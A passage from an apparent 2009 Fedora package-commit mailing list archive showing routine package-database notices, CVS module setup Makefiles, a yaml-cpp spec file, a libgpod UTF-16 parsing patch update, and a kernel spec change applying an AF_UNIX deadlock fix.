+Patch14401: af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1417,6 +1420,9 @@ ApplyPatch ahci-revert-restore-sb600-sat
 # fix ACPI boot hang/crash (#513680)
 ApplyPatch acpi-pci-fix-null-pointer-dereference-in-acpi-get-pci-dev.patch
 
+# fix for local DoS on AF_UNIX
+ApplyPatch af_unix-fix-deadlock-connecting-to-shutdown-socket.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2067,6 +2073,10 @@ fi
 # and build.
 
 %changelog
+* Mon Oct 19 2009 Kyle McMartin <kyle at redhat.com>
+- af_unix-fix-deadlock-connecting-to-shutdown-socket.patch: fix for
+  rhbz#529626.
+
 * Sat Oct 17 2009 Chuck Ebbert <cebbert at redhat.com>
 - Replace linux-2.6-bluetooth-autosuspend.diff with upstream version.
 



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:47 +0000
Subject: [pkgdb] bauble was added for cassmodiah
Message-ID: <20091019162047.48E1510F850@bastion2.fedora.phx.redhat.com>

kevin has added Package bauble with summary Biodiversity collection manager
kevin has approved Package bauble
kevin has added a Fedora devel branch for bauble with an owner of cassmodiah
kevin has approved bauble in Fedora devel
kevin has approved Package bauble
kevin has set commit to Approved for 107427 on bauble (Fedora devel)
kevin has set checkout to Approved for 107427 on bauble (Fedora devel)
kevin has set build to Approved for 107427 on bauble (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/bauble



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:48 +0000
Subject: [pkgdb] bauble summary updated by kevin
Message-ID: <20091019162049.08AC710F87F@bastion2.fedora.phx.redhat.com>

kevin set package bauble summary to Biodiversity collection manager

To make changes to this package see:
  /pkgdb/packages/name/bauble



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:48 +0000
Subject: [pkgdb] bauble (Fedora, 10) updated by kevin
Message-ID: <20091019162049.1A16B10F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for bauble
kevin has set commit to Approved for 107427 on bauble (Fedora 11)
kevin has set checkout to Approved for 107427 on bauble (Fedora 11)
kevin has set build to Approved for 107427 on bauble (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/bauble



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:48 +0000
Subject: [pkgdb] bauble (Fedora, 10) updated by kevin
Message-ID: <20091019162049.2F22110F8AC@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for bauble
kevin has set commit to Approved for 107427 on bauble (Fedora 12)
kevin has set checkout to Approved for 107427 on bauble (Fedora 12)
kevin has set build to Approved for 107427 on bauble (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/bauble



From pkgdb at fedoraproject.org  Mon Oct 19 16:20:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:20:48 +0000
Subject: [pkgdb] bauble (Fedora, 10) updated by kevin
Message-ID: <20091019162049.377EC10F8AF@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for bauble
kevin has set commit to Approved for 107427 on bauble (Fedora 10)
kevin has set checkout to Approved for 107427 on bauble (Fedora 10)
kevin has set build to Approved for 107427 on bauble (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/bauble



From kevin at fedoraproject.org  Mon Oct 19 16:20:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:20:57 +0000 (UTC)
Subject: rpms/bauble - New directory
Message-ID: <20091019162057.1EF8911C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/bauble
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk21427/rpms/bauble

Log Message:
Directory /cvs/pkgs/rpms/bauble added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:20:57 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:20:57 +0000 (UTC)
Subject: rpms/bauble/devel - New directory
Message-ID: <20091019162057.3B07411C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/bauble/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk21427/rpms/bauble/devel

Log Message:
Directory /cvs/pkgs/rpms/bauble/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:21:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:21:04 +0000 (UTC)
Subject: rpms/bauble Makefile,NONE,1.1
Message-ID: <20091019162104.10E6711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/bauble
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk21427/rpms/bauble

Added Files:
	Makefile 
Log Message:
Setup of module bauble


--- NEW FILE Makefile ---
# Top level Makefile for module bauble
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:21:04 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:21:04 +0000 (UTC)
Subject: rpms/bauble/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources,
	NONE, 1.1
Message-ID: <20091019162104.759FF11C029A@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/bauble/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsk21427/rpms/bauble/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module bauble


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: bauble
# $Id: Makefile,v 1.1 2009/10/19 16:21:04 kevin Exp $
NAME := bauble
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:10 +0000
Subject: [pkgdb] sblim-tools-libra was added for vcrhonek
Message-ID: <20091019162210.BAAD810F86E@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-tools-libra with summary The tools-libra package provides common functionality required by the task-specific resource access layers of wbem-smt tasks such as cmpi-dns and cmpi-samba
kevin has approved Package sblim-tools-libra
kevin has added a Fedora devel branch for sblim-tools-libra with an owner of vcrhonek
kevin has approved sblim-tools-libra in Fedora devel
kevin has approved Package sblim-tools-libra
kevin has set commit to Approved for 107427 on sblim-tools-libra (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-tools-libra (Fedora devel)
kevin has set build to Approved for 107427 on sblim-tools-libra (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:12 +0000
Subject: [pkgdb] sblim-tools-libra summary updated by kevin
Message-ID: <20091019162212.9771B10F88F@bastion2.fedora.phx.redhat.com>

kevin set package sblim-tools-libra summary to The tools-libra package provides common functionality required by the task-specific resource access layers of wbem-smt tasks such as cmpi-dns and cmpi-samba

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:12 +0000
Subject: [pkgdb] sblim-tools-libra (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162212.9E4E510F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-tools-libra
kevin has set commit to Approved for 107427 on sblim-tools-libra (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-tools-libra (Fedora 11)
kevin has set build to Approved for 107427 on sblim-tools-libra (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:12 +0000
Subject: [pkgdb] sblim-tools-libra (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162212.A4D7C10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-tools-libra
kevin has set commit to Approved for 107427 on sblim-tools-libra (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-tools-libra (Fedora 10)
kevin has set build to Approved for 107427 on sblim-tools-libra (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:12 +0000
Subject: [pkgdb] sblim-tools-libra (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162212.B00F610F8B3@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-tools-libra
kevin has set commit to Approved for 107427 on sblim-tools-libra (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-tools-libra (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-tools-libra (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:12 +0000
Subject: [pkgdb] sblim-tools-libra (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162212.BA74310F8B6@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-tools-libra
kevin has set commit to Approved for 107427 on sblim-tools-libra (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-tools-libra (Fedora 12)
kevin has set build to Approved for 107427 on sblim-tools-libra (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From pkgdb at fedoraproject.org  Mon Oct 19 16:22:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:22:12 +0000
Subject: [pkgdb] sblim-tools-libra (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162212.C312110F8B9@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-tools-libra
kevin has set commit to Approved for 107427 on sblim-tools-libra (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-tools-libra (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-tools-libra (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-tools-libra



From kevin at fedoraproject.org  Mon Oct 19 16:22:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:22:22 +0000 (UTC)
Subject: rpms/sblim-tools-libra - New directory
Message-ID: <20091019162222.1521D11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-tools-libra
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc22027/rpms/sblim-tools-libra

Log Message:
Directory /cvs/pkgs/rpms/sblim-tools-libra added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:22:22 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:22:22 +0000 (UTC)
Subject: rpms/sblim-tools-libra/devel - New directory
Message-ID: <20091019162222.3C3DD11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-tools-libra/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc22027/rpms/sblim-tools-libra/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-tools-libra/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:22:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:22:29 +0000 (UTC)
Subject: rpms/sblim-tools-libra Makefile,NONE,1.1
Message-ID: <20091019162229.0102511C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-tools-libra
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc22027/rpms/sblim-tools-libra

Added Files:
	Makefile 
Log Message:
Setup of module sblim-tools-libra


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-tools-libra
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From guidograzioli at fedoraproject.org  Mon Oct 19 16:22:16 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Mon, 19 Oct 2009 16:22:16 +0000 (UTC)
Subject: rpms/yaml-cpp/F-12 import.log, NONE, 1.1 yaml-cpp.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019162216.0718111C00DC@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaml-cpp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21965/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log yaml-cpp.spec 
Log Message:
* Sat Oct 17 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-2
- Remove duplicate file

* Wed Oct 14 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-1
- Initial packaging




--- NEW FILE import.log ---
yaml-cpp-0_2_2-2_fc11:F-12:yaml-cpp-0.2.2-2.fc11.src.rpm:1255969311


--- NEW FILE yaml-cpp.spec ---
Name:           yaml-cpp
Version:        0.2.2
Release:        2%{?dist}
Summary:        A YAML parser and emitter for C++
Group:          Development/Libraries
License:        MIT 
URL:            http://code.google.com/p/yaml-cpp/
Source0:        http://yaml-cpp.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires:  cmake

%description
yaml-cpp is a YAML parser and emitter in C++ written around the YAML 1.2 spec.


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
License:        MIT
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q -c
# Fix eol 
sed -i 's/\r//' license.txt
# Fix cmake config 
sed -i 's/set(CMAKE_CXX_FLAGS "-O2 -Wall -pedantic -Wextra")/set(CMAKE_CXX_FLAGS "-Wall -pedantic -Wextra ${CMAKE_CXX_FLAGS}")/g' CMakeLists.txt


%build
# ask cmake to not strip binaries
%cmake . 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc license.txt
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/yaml-cpp/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Sat Oct 17 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-2
- Remove duplicate file

* Wed Oct 14 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-1
- Initial packaging 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaml-cpp/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:02:17 -0000	1.1
+++ .cvsignore	19 Oct 2009 16:22:15 -0000	1.2
@@ -0,0 +1 @@
+yaml-cpp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaml-cpp/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:02:18 -0000	1.1
+++ sources	19 Oct 2009 16:22:15 -0000	1.2
@@ -0,0 +1 @@
+80863a39b967af3275aa3b88a8c7a12e  yaml-cpp-0.2.2.tar.gz



From kevin at fedoraproject.org  Mon Oct 19 16:22:29 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:22:29 +0000 (UTC)
Subject: rpms/sblim-tools-libra/devel .cvsignore, NONE, 1.1 Makefile, NONE, 
	1.1 sources, NONE, 1.1
Message-ID: <20091019162229.5B3BF11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-tools-libra/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsc22027/rpms/sblim-tools-libra/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module sblim-tools-libra


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: sblim-tools-libra
# $Id: Makefile,v 1.1 2009/10/19 16:22:29 kevin Exp $
NAME := sblim-tools-libra
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From hadess at fedoraproject.org  Mon Oct 19 16:22:33 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 16:22:33 +0000 (UTC)
Subject: rpms/libgpod/F-11 libgpod-utf16-parsing.patch, 1.1, 1.2 libgpod.spec,
	1.24, 1.25
Message-ID: <20091019162233.DA71111C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22144

Modified Files:
	libgpod-utf16-parsing.patch libgpod.spec 
Log Message:
* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.0-4
- Update UTF-16 parsing patch (#517642)


libgpod-utf16-parsing.patch:
 b/src/itdb_itunesdb.c             |   72 ++++++++++++++++++++++----------------
 libgpod-0.7.2/src/itdb_itunesdb.c |    1 
 2 files changed, 43 insertions(+), 30 deletions(-)

Index: libgpod-utf16-parsing.patch
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-11/libgpod-utf16-parsing.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- libgpod-utf16-parsing.patch	19 Oct 2009 12:09:02 -0000	1.1
+++ libgpod-utf16-parsing.patch	19 Oct 2009 16:22:33 -0000	1.2
@@ -99,3 +99,13 @@ index c41e758..3f352e1 100644
        }
        break;
    case MHOD_ID_PODCASTURL:
+--- libgpod-0.7.2/src/itdb_itunesdb.c.old	2009-10-19 16:53:13.000000000 +0100
++++ libgpod-0.7.2/src/itdb_itunesdb.c	2009-10-19 16:53:57.000000000 +0100
+@@ -1423,6 +1423,7 @@ static MHODData get_mhod (FImport *fimp,
+   case MHOD_ID_SORT_TVSHOW:
+       result.data.string = extract_mhod_string (cts, seek);
+       if (result.data.string == NULL) {
++	  *ml = mhod_len;
+ 	  return result;
+       }
+       break;


Index: libgpod.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libgpod/F-11/libgpod.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- libgpod.spec	19 Oct 2009 12:09:02 -0000	1.24
+++ libgpod.spec	19 Oct 2009 16:22:33 -0000	1.25
@@ -3,7 +3,7 @@
 Summary: Library to access the contents of an iPod
 Name: libgpod
 Version: 0.7.0
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtkpod.org/libgpod.html
@@ -138,6 +138,9 @@ libgpod library.
 
 
 %changelog
+* Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.0-4
+- Update UTF-16 parsing patch (#517642)
+
 * Mon Oct 19 2009 Bastien Nocera <bnocera at redhat.com> 0.7.0-3
 - Fix crasher when parsing UTF-16 strings with a BOM (#517642)
 



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:09 +0000
Subject: [pkgdb] sblim-cmpi-fsvol was added for vcrhonek
Message-ID: <20091019162309.92F5410F85A@bastion2.fedora.phx.redhat.com>

kevin has added Package sblim-cmpi-fsvol with summary Standards Based Linux Instrumentation Fsvol Providers
kevin has approved Package sblim-cmpi-fsvol
kevin has added a Fedora devel branch for sblim-cmpi-fsvol with an owner of vcrhonek
kevin has approved sblim-cmpi-fsvol in Fedora devel
kevin has approved Package sblim-cmpi-fsvol
kevin has set commit to Approved for 107427 on sblim-cmpi-fsvol (Fedora devel)
kevin has set checkout to Approved for 107427 on sblim-cmpi-fsvol (Fedora devel)
kevin has set build to Approved for 107427 on sblim-cmpi-fsvol (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:12 +0000
Subject: [pkgdb] sblim-cmpi-fsvol summary updated by kevin
Message-ID: <20091019162312.9F56110F880@bastion2.fedora.phx.redhat.com>

kevin set package sblim-cmpi-fsvol summary to Standards Based Linux Instrumentation Fsvol Providers

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:12 +0000
Subject: [pkgdb] sblim-cmpi-fsvol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162312.ED5E810F894@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for sblim-cmpi-fsvol
kevin has set commit to Approved for 107427 on sblim-cmpi-fsvol (Fedora 11)
kevin has set checkout to Approved for 107427 on sblim-cmpi-fsvol (Fedora 11)
kevin has set build to Approved for 107427 on sblim-cmpi-fsvol (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:12 +0000
Subject: [pkgdb] sblim-cmpi-fsvol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162313.34AEE10F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for sblim-cmpi-fsvol
kevin has set commit to Approved for 107427 on sblim-cmpi-fsvol (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on sblim-cmpi-fsvol (Fedora EPEL 5)
kevin has set build to Approved for 107427 on sblim-cmpi-fsvol (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:12 +0000
Subject: [pkgdb] sblim-cmpi-fsvol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162314.186A610F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for sblim-cmpi-fsvol
kevin has set commit to Approved for 107427 on sblim-cmpi-fsvol (Fedora 12)
kevin has set checkout to Approved for 107427 on sblim-cmpi-fsvol (Fedora 12)
kevin has set build to Approved for 107427 on sblim-cmpi-fsvol (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:12 +0000
Subject: [pkgdb] sblim-cmpi-fsvol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162314.2464B10F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 10 branch for sblim-cmpi-fsvol
kevin has set commit to Approved for 107427 on sblim-cmpi-fsvol (Fedora 10)
kevin has set checkout to Approved for 107427 on sblim-cmpi-fsvol (Fedora 10)
kevin has set build to Approved for 107427 on sblim-cmpi-fsvol (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From pkgdb at fedoraproject.org  Mon Oct 19 16:23:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:23:12 +0000
Subject: [pkgdb] sblim-cmpi-fsvol (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019162314.2E6D710F8B7@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sblim-cmpi-fsvol
kevin has set commit to Approved for 107427 on sblim-cmpi-fsvol (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sblim-cmpi-fsvol (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sblim-cmpi-fsvol (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/sblim-cmpi-fsvol



From kevin at fedoraproject.org  Mon Oct 19 16:23:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:23:20 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol - New directory
Message-ID: <20091019162320.1375311C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-fsvol
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsR22609/rpms/sblim-cmpi-fsvol

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-fsvol added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:23:20 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:23:20 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/devel - New directory
Message-ID: <20091019162320.3A5EE11C02A1@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-fsvol/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsR22609/rpms/sblim-cmpi-fsvol/devel

Log Message:
Directory /cvs/pkgs/rpms/sblim-cmpi-fsvol/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:23:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:23:27 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol Makefile,NONE,1.1
Message-ID: <20091019162327.2F55D11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/sblim-cmpi-fsvol
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsR22609/rpms/sblim-cmpi-fsvol

Added Files:
	Makefile 
Log Message:
Setup of module sblim-cmpi-fsvol


--- NEW FILE Makefile ---
# Top level Makefile for module sblim-cmpi-fsvol
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:23:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:23:27 +0000 (UTC)
Subject: rpms/sblim-cmpi-fsvol/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
